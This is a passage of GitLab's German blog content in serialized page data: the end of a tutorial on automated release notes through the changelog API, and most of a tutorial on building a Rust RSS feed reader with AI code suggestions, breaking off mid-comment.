erstellt](https://about.gitlab.com/images/blogimages/2023-08-22-automated-release-and-release-notes-with-gitlab/create-2-tag.png)\n\nNach der Erstellung werden unsere Pipelines ausgeführt. Die Änderungsprotokoll-API von GitLab generiert automatisch Versionshinweise für uns als Markdown, der alle Änderungen zwischen dieser Release und der vorherigen Release enthält. Hier ist der Markdown, der in unserem Beispiel generiert wurde:\n\n```md\n## 2.0.0 (2023-08-25)\n\n### added (1 change)\n\n- [Add ChatBot](gl-demo-ultimate-bridley/super-devsecops-incorporated/simply-notes-release-demo@0c3601a45af617c5481322bfce4d71db1f911b02) ([merge request](gl-demo-ultimate-bridley/super-devsecops-incorporated/simply-notes-release-demo!4))\n\n### removed (1 change)\n\n- [Remove Unused Features](gl-demo-ultimate-bridley/super-devsecops-incorporated/simply-notes-release-demo@463d453c5ae0f4fc611ea969e5442e3298bf0d8a) ([merge request](gl-demo-ultimate-bridley/super-devsecops-incorporated/simply-notes-release-demo!3))\n```\n\nWie du sehen kannst, hat GitLab die Einträge für unsere Versionshinweise automatisch mit unseren Git-Commit-Trailern extrahiert. Außerdem werden hilfreiche Links zum Merge Request bereitgestellt, damit die Leser(innen) weitere Details und Diskussionen zu den Änderungen sehen können.\n\nUnd jetzt folgt unsere letzte Release:\n![GitLab-Release-UI, die ein Release für Version 2.0.0 zeigt](https://about.gitlab.com/images/blogimages/2023-08-22-automated-release-and-release-notes-with-gitlab/2-0-release.png)\n\n## Erstellen des Änderungsprotokolls\nAls nächstes möchten wir unser Änderungsprotokoll aktualisieren (das im Grunde ein gesammelter Verlauf aller deiner Versionshinweise ist). Du kannst dazu eine `POST`-Anfrage an den Änderungsprotokoll-API-Endpunkt senden, den wir zuvor verwendet haben.\n\nDu kannst dies auch als Teil deiner Release-Pipeline tun, wenn du möchtest. Dazu kannst du beispielswiese den folgenden Code in den Abschnitt `script` deines Vorbereitungsjobs einfügen:\n```sh\n'curl -H \"PRIVATE-TOKEN: $CI_API_TOKEN\" -X POST \"$CI_API_V4_URL/projects/$CI_PROJECT_ID/repository/changelog?version=$CI_COMMIT_TAG\"\n```\n\n**Beachte dabei, dass dies das Repository ändert.** Es wird ein Commit erstellt, um die neuesten Notizen zu einer Datei `CHANGELOG.md` hinzuzufügen:\n![Screenshot des Repositorys, der einen Commit zeigt, der die Änderungsprotokolldatei aktualisiert](https://about.gitlab.com/images/blogimages/2023-08-22-automated-release-and-release-notes-with-gitlab/changelog-api-commit.png)\n\nUnd das war’s auch schon! Indem wir den umfassenden Verlauf, den uns `git` bietet, mit praktischen Commit-Trailern nutzen, können wir die leistungsstarke API und die CI/CD-Pipelines von GitLab optimal einsetzen, um unsere Release-Prozesse zu automatisieren und Versionshinweise für uns zu erstellen.\n\n> Wenn du das Projekt erkunden möchtest, das wir für diesen Artikel verwendet haben, [findest du es unter diesem Link](https://gitlab.com/gitlab-learn-labs/sample-projects/release-automation-demo).\n",[3442,1534,110,2033,787,3443],"Tutorial","Git",{"slug":3445,"featured":6,"template":682},"tutorial-automated-release-and-release-notes-with-gitlab","content:de-de:blog:tutorial-automated-release-and-release-notes-with-gitlab.yml","Tutorial Automated Release And Release Notes With Gitlab","de-de/blog/tutorial-automated-release-and-release-notes-with-gitlab.yml","de-de/blog/tutorial-automated-release-and-release-notes-with-gitlab",{"_path":3451,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":3452,"content":3458,"config":3465,"_id":3467,"_type":16,"title":3468,"_source":17,"_file":3469,"_stem":3470,"_extension":20},"/de-de/blog/learn-advanced-rust-programming-with-a-little-help-from-ai-code-suggestions",{"title":3453,"description":3454,"ogTitle":3453,"ogDescription":3454,"noIndex":6,"ogImage":3455,"ogUrl":3456,"ogSiteName":1396,"ogType":1397,"canonicalUrls":3456,"schema":3457},"Lerne fortschrittliche Rust-Programmierung mit KI-Unterstützung","In diesem Tutorial vertiefst du mithilfe der KI-basierten Codevorschläge von GitLab Duo deine Kenntnisse in der fortgeschrittenen Rust-Programmierung.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749662439/Blog/Hero%20Images/codewithheart.png","https://about.gitlab.com/blog/learn-advanced-rust-programming-with-a-little-help-from-ai-code-suggestions","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Lerne fortschrittliche Rust-Programmierung mit KI-Unterstützung\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Michael Friedrich\"}],\n        \"datePublished\": \"2023-10-12\",\n      }",{"title":3453,"description":3454,"authors":3459,"heroImage":3455,"date":3460,"body":3461,"category":677,"tags":3462,"updatedDate":3464},[2840],"2023-10-12","Vor mehr als 20 Jahren musste ich für eine Programmiersprache die MSDN-Bibliothek von Visual Studio 6 mit 6 CD-ROMs installieren. Algorithmen mit Stift und Papier, Bücher für Entwurfsmuster und MSDN-Abfragen waren oft zeitaufwendig. Das Erlernen neuer Programmiersprachen hat sich mit Remote-Zusammenarbeit und KI stark gewandelt. Jetzt kannst du einen [Remote Development Workspace](https://about.gitlab.com/blog/quick-start-guide-for-gitlab-workspaces/) nutzen, deinen Bildschirm freigeben und zusammen programmieren. Mit [GitLab Duo Codevorschläge](/gitlab-duo/) hast du immer einen intelligenten Partner. Codevorschläge lernt von deinem Programmierstil und deiner Erfahrung. Es werden nur Input und Kontext benötigt.\n\nWir bauen auf den [Blogbeitrag „Erste Schritte“](/blog/learning-rust-with-a-little-help-from-ai-code-suggestions-getting-started/) auf und erstellen eine einfache Feed-Reader-Anwendung.\n\n- [Vorbereitungen](#preparations)\n    - [Codevorschläge](#code-suggestions)\n- [Rust vertiefen](#continue-learning-rust)\n    - [Hallo, Reader-App](#hello-reader-app)\n    - [Projekt initialisieren](#initialize-project)\n    - [RSS-Feed-URLs definieren](#define-rss-feed-urls)\n- [Module](#modules)\n    - [Modulfunktion im main() aufrufen](#call-the-module-function-in-main)\n- [Crates](#crates)\n    - [feed-rs: XML-Feed parsen](#feed-rs-parse-xml-feed)\n- [Laufzeit-Konfiguration: Programmargumente](#runtime-configuration-program-arguments)\n    - [Umgang mit Benutzereingabefehlern](#user-input-error-handling)\n- [Persistenz und Datenspeicherung](#persistence-and-data-storage)\n- [Optimierung](#optimization)\n    - [Asynchrone Ausführung](#asynchronous-execution)\n    - [Threads spawnen](#spawning-threads)\n    - [Funktionsumfänge, Threads und Abschlüsse](#function-scopes-threads-and-closures)\n- [Feed-XML in Objekte parsen](#parse-feed-xml-into-object-types)\n    - [Generische Feed-Datentypen zuordnen](#map-generic-feed-data-types)\n    - [Fehlerbehebung mit Option::unwrap()](#error-handling-with-option-unwrap)\n- [Benchmarks](#benchmarks)\n    - [Benchmarks für sequentielle/parallele Ausführung](#sequential-vs-parallel-execution-benchmark)\n    - [CI/CD mit Rust-Caching](#cicd-with-rust-caching)\n- [Wie geht es weiter?](#what-is-next)\n    - [Asynchrone Lernübungen](#async-learning-exercises)\n    - [Teile dein Feedback](#share-your-feedback)\n\n## Vorbereitung\nRichte [VS Code](/blog/learning-rust-with-a-little-help-from-ai-code-suggestions-getting-started/#vs-code) und [deine Entwicklungsumgebung mit Rust](/blog/learning-rust-with-a-little-help-from-ai-code-suggestions-getting-started/#development-environment-for-rust) ein.\n\n### Codevorschläge\nMache dich vorher damit vertraut. GitLab Duo Codevorschläge werden angezeigt, während du tippst. Drücke `tab`, um einen Codevorschlag anzunehmen. Das Schreiben von neuem Code funktioniert zuverlässiger als das Refactoring von bestehendem Code. Der gleiche Codevorschlag wird ggf. nicht erneut angezeigt, wenn du einen Codevorschlag löschst. Codevorschläge sind gerade in der Betaphase und wir verbessern die Genauigkeit der generierten Inhalte. Sieh dir die [bekannten Einschränkungen](https://docs.gitlab.com/ee/user/project/repository/code_suggestions.html#known-limitations) an.\n\n**Tipp:** Die neueste Version von Codevorschläge unterstützt mehrzeilige Anweisungen. Passe die Spezifikationen an deine Bedürfnisse an, um bessere Vorschläge zu erhalten.\n\n\n```rust\n    // Create a function that iterates over the source array\n    // and fetches the data using HTTP from the RSS feed items. // Store the results in a new hash map.\n    // Print the hash map to the terminal.\n```\n\nDie VS-Code-Erweiterung wird angezeigt, wenn ein Vorschlag angeboten wird. Mit `tab` kannst du die vorgeschlagene(n) Zeile(n) oder mit `cmd cursor right` ein Wort annehmen. Über das Menü mit den drei Punkten kannst du immer die Symbolleiste anzeigen.\n\n![VS Code überlagert GitLab Duo Codevorschläge mit Anweisungen](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-advanced-programming/vs_code_code_suggestions_options_overlay_keep_toolbar.png){: .shadow}\n\n## Rust vertiefen\nVertiefen wir nun Rust, eine der [unterstützten Sprachen in Codevorschläge](https://docs.gitlab.com/ee/user/project/repository/code_suggestions.html#supported-languages). [Rust by Example](https://doc.rust-lang.org/rust-by-example/) und das offizielle [Rust-Buch](https://doc.rust-lang.org/book/) bieten einen guten Einstieg. Auf beide Ressourcen wird hier verwiesen.\n\n### Hallo, Reader-App\nEs gibt viele Möglichkeiten, eine Anwendung zu erstellen und Rust zu lernen. Einige beinhalten die Nutzung bestehender Rust-Bibliotheken, der `Crates`. Wir verwenden sie weiter unten. Du kannst eine App mit einer Befehlszeile erstellen, die Bilder verarbeitet und die Ergebnisse in eine Datei schreibt. Es macht Spaß, ein Labyrinth zu lösen oder ein Sudoku-Lösungsprogramm zu schreiben. Spieleentwicklung ist auch gut. Das Buch [Hands-on Rust](https://hands-on-rust.com/) bietet einen Lernpfad für ein Dungeon-Crawler-Spiel. Fatima Sarah Khalid hat [Dragon Realm in C++ mit ein wenig KI-Unterstützung](/blog/building-a-text-adventure-using-cplusplus-and-code-suggestions/) gestartet.\n\nEin echter Anwendungsfall: Wichtige Infos sollen in einem RSS-Feed für (Sicherheits-)Releases, Blogbeiträge und Diskussionen in Foren wie Hacker News gesammelt werden. Oft möchten wir nach Keywords oder Versionen filtern. Mit diesen Anforderungen können wir eine Anforderungsliste erstellen:\n\n1. Daten von verschiedenen Quellen abrufen (HTTP-Websites, REST API, RSS-Feeds). RSS-Feeds in der ersten Iteration.\n1. Die Daten parsen.\n1. Die Daten den Benutzer(innen) präsentieren oder auf die Festplatte schreiben.\n1. Die Leistung optimieren.\n\nDiese Anwendungsausgabe ist nach den Lernschritten verfügbar: \n\n![VS-Code-Terminal, Cargo-Run mit formatierter Feedelement-Ausgabe](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-advanced-programming/vs_code_terminal_cargo_run_formatted_output_final.png)\n\nDie Anwendung sollte modular und die Grundlage für weitere Datentypen, Filter und Hooks sein, um später Aktionen auszulösen.\n\n### Projekt initialisieren\nZur Erinnerung: `cargo init` im Projekt-Root erstellt die Dateistruktur, darunter den Eingangspunkt `main()`. Daher lernen wir nun, wie wir Rust-Module erstellen und verwenden.\n\nErstelle ein neues Verzeichnis `learn-rust-ai-app-reader`, wechsle dorthin und führe `cargo init` aus. Dieser Befehl führt implizit `git init` aus, um ein neues Git-Repository lokal zu initialisieren. Zuletzt wird der Git-Remote-Repository-Pfad konfiguriert, z. B. `https://gitlab.com/gitlab-de/use-cases/ai/learn-with-ai/learn-rust-ai-app-reader`. Passe den Pfad an. Durch das Pushen des Git-Repositorys [wird automatisch ein neues privates Projekt in GitLab erstellt](https://docs.gitlab.com/ee/user/project/#create-a-new-project-with-git-push).\n\n```shell\nmkdir learn-rust-ai-app-reader\ncd learn-rust-ai-app-reader\n\ncargo init\n\ngit remote add origin https://gitlab.com/gitlab-de/use-cases/ai/learn-with-ai/learn-rust-ai-app-reader.git\ngit push --set-upstream origin main\n```\n\nÖffne VS Code aus dem neu erstellten Verzeichnis. Die CLI `code` öffnet ein neues VS-Code-Fenster auf macOS.\n\n```shell\ncode .\n```\n\n### RSS-Feed-URLs definieren\nFüge eine neue Hashmap hinzu, um die RSS-Feed-URLs in der Datei `src/main.rs` in der Funktion `main()` zu speichern. Du kannst mit GitLab Duo Codevorschläge über einen mehrzeiligen Kommentar ein [`HashMap`](https://doc.rust-lang.org/stable/std/collections/struct.HashMap.html)-Objekt erstellen und mit Standardwerten für Hacker News und TechCrunch initialisieren. Hinweis: Stelle sicher, dass die URLs korrekt sind, wenn du Vorschläge erhältst.\n\n```rust\nfn main() {\n    // Define RSS feed URLs in the variable rss_feeds\n    // Use a HashMap\n    // Add Hacker News and TechCrunch\n    // Ensure to use String as type\n\n}\n```\n\nAnweisungen sind enthalten für:\n:\n\n1. Den Variablennamen `rss_feeds`.\n2. Den Typ `HashMap`.\n3. Initiale Seed-Schlüssel-/Wertpaare.\n4. Den String als Typ (sichtbar mit `to_string()`-Aufrufen).\n\nEin möglicher vorgeschlagener Pfad:\n\n```rust\nuse std::collections::HashMap;\n\nfn main() {\n    // Define RSS feed URLs in the variable rss_feeds\n    // Use a HashMap\n    // Add Hacker News and TechCrunch\n    // Ensure to use String as type\n    let rss_feeds = HashMap::from([\n        (\"Hacker News\".to_string(), \"https://news.ycombinator.com/rss\".to_string()),\n        (\"TechCrunch\".to_string(), \"https://techcrunch.com/feed/\".to_string()),\n    ]);\n\n}\n```\n\n![VS Code mit Codevorschlägen für RSS-Feed-URLs für Hacker News und TechCrunch](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-advanced-programming/vs_code_main_array_rss_feed_urls_suggested.png)\n\nÖffne ein neues Terminal in VS Code (cmd Umschalt p – suche nach `terminal`). Führe `cargo build` aus, um die Änderungen zu erstellen. Die Fehlermeldung weist dich an, den Import von `use std::collections::HashMap;` hinzuzufügen.\n\nDer nächste Schritt betrifft die RSS-Feed-URLs. [Im letzten Blogbeitrag](/blog/learning-rust-with-a-little-help-from-ai-code-suggestions-getting-started/) haben wir Code in Funktionen aufgeteilt. Wir möchten den Code für unsere Reader-Anwendung modular mit Rust-Modulen strukturieren.\n\n## Module\n[Module](https://doc.rust-lang.org/rust-by-example/mod.html) organisieren Code. Mit ihnen können auch Funktionen im Modulbereich ausgeblendet und der Zugriff darauf vom Bereich main() aus beschränkt werden. In unserer Reader-Anwendung möchten wir den RSS-Feed abrufen/XML-Antwort parsen. Der Caller `main()` sollte nur auf die Funktion `get_feeds()` zugreifen können, andere Funktionen sind nur im Modul verfügbar.\n\nErstelle eine neue Datei `feed_reader.rs` im Verzeichnis `src/`. Weise Codevorschläge an, ein öffentliches Modul `feed_reader` und eine öffentliche Funktion `get_feeds()` mit einer String-HashMap als Eingabe zu erstellen. Wichtig: Die Datei- und Modulnamen müssen gemäß der [Rust-Modulstruktur](https://doc.rust-lang.org/book/ch07-02-defining-modules-to-control-scope-and-privacy.html) identisch sein.\n\n![Codevorschläge: öffentliches Modul mit Funktions- und Eingabetypen erstellen](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-advanced-programming/code_suggestions_rust_public_module_function_input.png){: .shadow}\n\nWenn du Codevorschläge mit Namen/Typ der Eingabevariablen anweist, wird auch das Modul `std::collections::HashMap` importiert. Tipp: Experimentiere mit Kommentaren und verfeinere die Variablentypen. Die Übergabe von Funktionsparametern als Objektreferenzen gilt in Rust als Best Practice.\n\n```rust\n// Create public module feed_reader\n// Define get_feeds() function which takes rss_feeds as String HashMap reference as input\npub mod feed_reader {\n    use std::collections::HashMap;\n\n    pub fn get_feeds(rss_feeds: &HashMap\u003CString, String>) {\n        // Do something with the RSS feeds\n    }\n}\n```\n\n![Codevorschläge: öffentliches Modul mit Funktion `get_feeds()` und vorgeschlagener Eingabevariable](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-advanced-programming/code_suggestions_rust_public_module_function_input.png){: .shadow}\n\nWeise Codevorschläge innerhalb der Funktion weiter an:\n\n1. `// Iterate over the RSS feed URLs`\n2. `// Fetch URL content`\n3. `// Parse XML body`\n4. `// Print the result`\n\n![Codevorschläge: öffentliches Modul mit Funktion `get_feeds()`, Schritt 1: iterieren](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-advanced-programming/code_suggestions_rust_module_function_01_iterate.png){: .shadow}\n\n![Codevorschläge: öffentliches Modul mit Funktion `get_feeds()`, Schritt 2: URL-Inhalt abrufen](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-advanced-programming/code_suggestions_rust_module_function_02_fetch_content.png){: .shadow}\n\n![Codevorschläge: öffentliches Modul mit Funktion`get_feeds()`, Schritt 3: XML-Body parsen](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-advanced-programming/code_suggestions_rust_module_function_03_parse_body.png){: .shadow}\n\n![Codevorschläge: öffentliches Modul mit Funktion`get_feeds()`, Schritt 4: Ergebnisse drucken](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-advanced-programming/code_suggestions_rust_module_function_04_print_result.png){: .shadow}\n\nCodevorschlag:\n\n```rust\n// Create public module feed_reader\n// Define get_feeds() function which takes rss_feeds as String HashMap reference as input\npub mod feed_reader {\n    use std::collections::HashMap;\n\n    pub fn get_feeds(rss_feeds: &HashMap\u003CString, String>) {\n        // Iterate over the RSS feed URLs\n        for (name, url) in rss_feeds {\n            println!(\"{}: {}\", name, url);\n\n            // Fetch URL content\n            let body = reqwest::blocking::get(url).unwrap().text().unwrap();\n\n            // Parse XML body\n            let parsed_body = roxmltree::Document::parse(&body).unwrap();\n\n            // Print the result\n            println!(\"{:#?}\", parsed_body);\n        }\n    }\n}\n```\n\nDu siehst ein neues Keyword: [`unwrap()`](https://doc.rust-lang.org/rust-by-example/error/option_unwrap.html). Rust unterstützt keine `null`-Werte und verwendet immer den [Typ `Option`](https://doc.rust-lang.org/rust-by-example/std/option.html). Wenn du einen bestimmten wrapped-Typ verwenden willst, z. B. `Text` oder `String`, rufe die Methode `unwrap()` auf, um den Wert zu erhalten. Methode `unwrap()` gerät bei Wert `None` in Panik.\n\n**Hinweis** Codevorschläge bezogen sich auf Funktion `reqwest:: blocking::get` für Kommentaranweisung `// Fetch URL content`. [Crate `reqwest`](https://docs.rs/reqwest/latest/reqwest/) ist kein Tippfehler. Sie bietet einen praktischen, übergeordneten HTTP-Client für asynchrone und blockierende Anfragen.\n\nParsen des XML-Textes ist schwierig. Du erhältst ggf. unterschiedliche Ergebnisse, das Schema ist nicht für jede RSS-Feed-URL gleich. Rufen wir die Funktion `get_feeds()` auf und verbessern den Code.\n\n### Modulfunktion in main() aufrufen\n\nFunktion main() kennt Funktion `get_feeds()` noch nicht, wir müssen ihr Modul importieren. Evtl. kennst du schon die Keywords `include` oder `import`. Das Rust-Modulsystem ist anders.\n\nModule sind in Pfadverzeichnissen organisiert. Hier liegen beide Quelldateien auf derselben Verzeichnisebene vor. `feed_reader.rs` wird als Crate interpretiert, die ein Modul `feed_reader` enthält, das Funktion `get_feeds()` definiert.\n\n```\nsrc/\n  main.rs\n  feed_reader.rs\n```\n\nUm auf `get_feeds()` aus Datei `feed_reader.rs` zuzugreifen, müssen wir den [Modulpfad](https://doc.rust-lang.org/book/ch07-04-bringing-paths-into-scope-with-the-use-keyword.html) in den Bereich `main.rs` bringen, dann den vollständigen Funktionspfad aufrufen.\n\n```rust\nmod feed_reader;\n\nfn main() {\n\n    feed_reader::feed_reader::get_feeds(&rss_feeds);\n\n```\n\nAlternativ können wir den vollständigen Funktionspfad mit Keyword `use` importieren und später den kurzen Funktionsnamen verwenden.\n\n```rust\nmod feed_reader;\nuse feed_reader::feed_reader::get_feeds;\n\nfn main() {\n\n    get_feeds(&rss_feeds);\n\n```\n\n**Tipp:** Lies den Blogbeitrag [Erklärung des Rust-Modulsystems](https://www.sheshbabu.com/posts/rust-module-system/) für ein besseres visuelles Verständnis.\n\n```diff\n\nfn main() {\n    // ...\n\n    // Print feed_reader get_feeds() output\n    println!(\"{}\", feed_reader::get_feeds(&rss_feeds));\n```\n\n```rust\nuse std::collections::HashMap;\n\nmod feed_reader;\n// Alternative: Import full function path\n//use feed_reader::feed_reader::get_feeds;\n\nfn main() {\n    // Define RSS feed URLs in the variable rss_feeds\n    // Use a HashMap\n    // Add Hacker News and TechCrunch\n    // Ensure to use String as type\n    let rss_feeds = HashMap::from([\n        (\"Hacker News\".to_string(), \"https://news.ycombinator.com/rss\".to_string()),\n        (\"TechCrunch\".to_string(), \"https://techcrunch.com/feed/\".to_string()),\n    ]);\n\n    // Call get_feeds() from feed_reader module\n    feed_reader::feed_reader::get_feeds(&rss_feeds);\n    // Alternative: Imported full path, use short path here.\n    //get_feeds(&rss_feeds);\n}\n```\n\nFühre `cargo build` erneut im Terminal aus, um den Code zu erstellen.\n\n```shell\ncargo build\n```\n\nPotenzielle Build-Fehler, wenn sich Codevorschläge auf allgemeinen Code und Bibliotheken für HTTP-Anfragen und XML-Parsing beziehen:\n\n1. Fehler: `could not find blocking in reqwest`. Lösung: Aktiviere Funktion `blocking` für Crate in `Config.toml`: `reqwest = { version = \"0.11.20\", features = [\"blocking\"] }`.\n2. Fehler: `failed to resolve: use of undeclared crate or module reqwest`. Lösung: Füge Crate `reqwest` hinzu.\n3. Fehler: `failed to resolve: use of undeclared crate or module roxmltree`. Lösung: Füge Crate `roxmltree` hinzu.\n\n```shell\nvim Config.toml\n\nreqwest = { version = \"0.11.20\", features = [\"blocking\"] }\n```\n\n```shell\ncargo add reqwest\ncargo add roxmltree\n```\n\n**Tipp:** Kopiere den Fehlermeldungs-String mit einem führenden `Rust \u003Cerror message>` in einen Browser, um zu sehen, ob eine fehlende Crate verfügbar ist. Allgemein führt diese Suche zu einem Ergebnis auf crates.io und du kannst die fehlenden Abhängigkeiten hinzufügen.\n\nWenn der Build erfolgreich ist, führe den Code mit `cargo run` aus und überprüfe die RSS-Feed-Ausgabe von Hacker News.\n\n![VS-Code-Terminal, cargo run zum Abrufen des XML-Feeds von Hacker News](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-advanced-programming/vs_code_terminal_fetch_rss_feed_output_hacker_news.png){: .shadow}\n\nWie kann der XML-Body in ein für Menschen lesbares Format geparst werden? Als Nächstes lernen wir über bestehende Lösungen und Rust-Crates.\n\n## Crates\n\nRSS-Feeds haben gemeinsame Protokolle und Spezifikationen. Es fühlt sich an, als würde man das Rad neu erfinden, wenn man XML-Elemente parsen und die untere Objektstruktur verstehen will. Empfehlung: Schau nach, ob es dieses Problem samt Code schon gibt.\n\nDer wiederverwendbare Bibliothekscode in Rust ist in [`Crates`](https://doc.rust-lang.org/rust-by-example/crates.html) organisiert und in Paketen/der Paket-Registry auf crates.io verfügbar. Füge diese Abhängigkeiten hinzu, indem du die Datei `Config.toml` im Abschnitt `[dependencies]` bearbeitest oder `cargo add \u003Cname>` verwendest.\n\nFür die Reader-App verwenden wir [Feed-rs-Crate](https://crates.io/crates/feed-rs). Öffne ein neues Terminal, führe folgenden Befehl aus:\n\n```shell\ncargo add feed-rs\n```\n\n![VS-Code-Terminal: Crate hinzufügen, in Config.toml überprüfen](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-advanced-programming/vs_code_rust_crate_add_feed-rs_explained.png)\n\n### feed-rs: XML-Feed parsen\nGehe zu `src/feed_reader.rs`, ändere den Teil, in dem wir den XML-Body parsen. Codevorschläge versteht, wie Crate `feed-rs` mit Funktion `parser::parse` aufgerufen wird, aber `feed-rs` [erwartet die String-Eingabe als Rohbytes](https://docs.rs/feed-rs/latest/feed_rs/parser/fn.parse_with_uri.html), um die Codierung selbst zu bestimmen. Wir können im Kommentar Anweisungen geben, um das erwartete Ergebnis zu erhalten.\n\n```rust\n            // Parse XML body with feed_rs parser, input in bytes\n            let parsed_body = feed_rs::parser::parse(body.as_bytes()).unwrap();\n```\n\n![Codevorschläge: öffentliches Modul mit Funktion `get_feeds()`, Schritt 5: XML-Parser in feed-rs ändern](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-advanced-programming/code_suggestions_rust_module_function_05_use_feed_rs_to_parse.png){: .shadow}\n\nDen Vorteil von `feed-rs` siehst du im Ausdruck mit `cargo run`: Alle Schlüssel/Werte werden ihren jeweiligen Rust-Objekttypen zugeordnet und können für weitere Operationen verwendet werden.\n\n![VS-Code-Terminal, cargo run zum Abrufen des XML-Feeds von Hacker News](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-advanced-programming/vs_code_terminal_fetch_rss_feed_output_hacker_news_feed_rs.png){: .shadow}\n\n## Laufzeit-Konfiguration: Programmargumente\nBisher haben wir das Programm mit hardcoded RSS-Feed-Werten ausgeführt, die in die Binärdatei kompiliert wurden. Jetzt wird der RSS-Feed zur Laufzeit konfiguriert.\n\nRust stellt in der Standard-Misc-Bibliothek [Programmargumente](https://doc.rust-lang.org/rust-by-example/std_misc/arg.html) bereit. [Argumente parsen](https://doc.rust-lang.org/rust-by-example/std_misc/arg/matching.html) ist besser und schneller als das Zielen auf erweiterte Programmargument-Parser (z. B. die Crate [clap](https://docs.rs/clap/latest/clap/)) oder das Verschieben der Programmparameter in eine Konfigurationsdatei/ein Format ([TOML](https://toml.io/en/), YAML). Vor diesem Blog habe ich Verschiedenes für die beste Lernerfahrung ausprobiert und versagt. Du kannst trotzdem versuchen, RSS-Feeds anders zu konfigurieren.\n\nAls langweilige Lösung können Befehlsparameter als `\"name,url\"` String-Wert-Paare übergeben und durch das `,`-Zeichen getrennt werden, um den Namen und die URL-Werte zu extrahieren. Der Kommentar weist Codevorschläge an, diese Vorgänge auszuführen und die HashMap `rss_feeds` um die neuen Werte zu erweitern. Die Variable ist möglicherweise nicht veränderbar und muss in `let mut rss_feeds` geändert werden.\n\nGehe zu `src/main.rs` und füge der Funktion `main()` nach der Variable `rss_feeds` diesen Code hinzu. Beginne mit einem Kommentar, um die Programmargumente zu definieren, überprüfe die vorgeschlagenen Codeschnipsel.\n\n```rust\n    // Program args, format \"name,url\"\n    // Split value by , into name, url and add to rss_feeds\n```\n\n![Codevorschläge für Programmargumente und Aufteilung von name,URL-Werten für die Variable rss_feeds](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-advanced-programming/code_suggestions_rust_program_args_boring_solution.png){: .shadow}\n\nVollständiges Codebeispiel:\n\n```rust\nfn main() {\n    // Define RSS feed URLs in the variable rss_feeds\n    // Use a HashMap\n    // Add Hacker News and TechCrunch\n    // Ensure to use String as type\n    let mut rss_feeds = HashMap::from([\n        (\"Hacker News\".to_string(), \"https://news.ycombinator.com/rss\".to_string()),\n        (\"TechCrunch\".to_string(), \"https://techcrunch.com/feed/\".to_string()),\n    ]);\n\n    // Program args, format \"name,url\"\n    // Split value by , into name, url and add to rss_feeds\n    for arg in std::env::args().skip(1) {\n        let mut split = arg.split(\",\");\n        let name = split.next().unwrap();\n        let url = split.next().unwrap();\n        rss_feeds.insert(name.to_string(), url.to_string());\n    }\n\n    // Call get_feeds() from feed_reader module\n    feed_reader::feed_reader::get_feeds(&rss_feeds);\n    // Alternative: Imported full path, use short path here.\n    //get_feeds(&rss_feeds);\n}\n```\n\nDu kannst Programmargumente direkt an den Befehl `cargo run` übergeben, wobei den Argumenten `--` vorgestellt ist.\n `--`. Füge alle Argumente mit doppelten Anführungszeichen und den Namen gefolgt von einem Komma und den RSS-Feed-URL als Argument ein. Trenne alle Argumente mit Leerzeichen.\n\n```\ncargo build\n\ncargo run -- \"GitLab Blog,https://about.gitlab.com/atom.xml\" \"CNCF,https://www.cncf.io/feed/\"\n```\n\n![VS-Code-Terminal, Beispiel einer RSS-Feed-Ausgabe für den GitLab-Blog](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-advanced-programming/vs_code_terminal_gitlab_blog_rss_feed_example.png){: .shadow}\n\n### Fehlerbehandlung bei Benutzereingaben\nWenn die Benutzereingabe nicht der Programmerwartung entspricht, müssen wir [einen Fehler ausgeben](https://doc.rust-lang.org/rust-by-example/error.html) und dem Caller helfen, die Programmargumente zu beheben. Die Übergabe eines fehlerhaften URL-Formats sollte als Laufzeitfehler behandelt werden. Weise Codevorschläge an, einen Fehler auszugeben, wenn die URL nicht gültig ist.\n\n```rust\n    // Ensure that URL contains a valid format, otherwise throw an error\n```\n\nMögliche Lösung: Beginnt die Variable `url` mit `http://` oder `https://`? Wenn nicht, gib einen Fehler mit dem Makro [Panic! ](https://doc.rust-lang.org/rust-by-example/std/panic.html) aus. Vollständiges Codebeispiel:\n\n```rust\n    // Program args, format \"name,url\"\n    // Split value by , into name, url and add to rss_feeds\n    for arg in std::env::args().skip(1) {\n        let mut split = arg.split(\",\");\n        let name = split.next().unwrap();\n        let url = split.next().unwrap();\n\n        // Ensure that URL contains a valid format, otherwise throw an error\n        if !url.starts_with(\"http://\") && !url.starts_with(\"https://\") {\n            panic!(\"Invalid URL format: {}\", url);\n        }\n\n        rss_feeds.insert(name.to_string(), url.to_string());\n    }\n```\n\nTeste, was passiert, wenn du ein `:` in einem URL-String entfernst. Füge die Umgebungsvariable `RUST_BACKTRACE=full` hinzu, um beim Aufruf von `panic()` eine ausführlichere Ausgabe zu erhalten.\n\n```\nRUST_BACKTRACE=full cargo run -- \"GitLab Blog,https://about.gitlab.com/atom.xml\" \"CNCF,https//www.cncf.io/feed/\"\n```\n\n![VS-Code-Terminal mit falschem URL-Format, panic-Fehler-Backtrace](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-advanced-programming/vs_code_terminal_url_format_error_panic_backtrace.png){: .shadow}\n\n## Persistenz und Datenspeicherung\nBei der langweiligen Lösung zum Speichern der Feed-Daten wird der geparste Body in eine neue Datei kopiert. Weise Codevorschläge an, ein Muster zu verwenden, das den RSS-Feed-Namen und das aktuelle ISO-Datum enthält.\n\n```rust\n    // Parse XML body with feed_rs parser, input in bytes\n    let parsed_body = feed_rs::parser::parse(body.as_bytes()).unwrap();\n\n    // Print the result\n    println!(\"{:#?}\", parsed_body);\n\n    // Dump 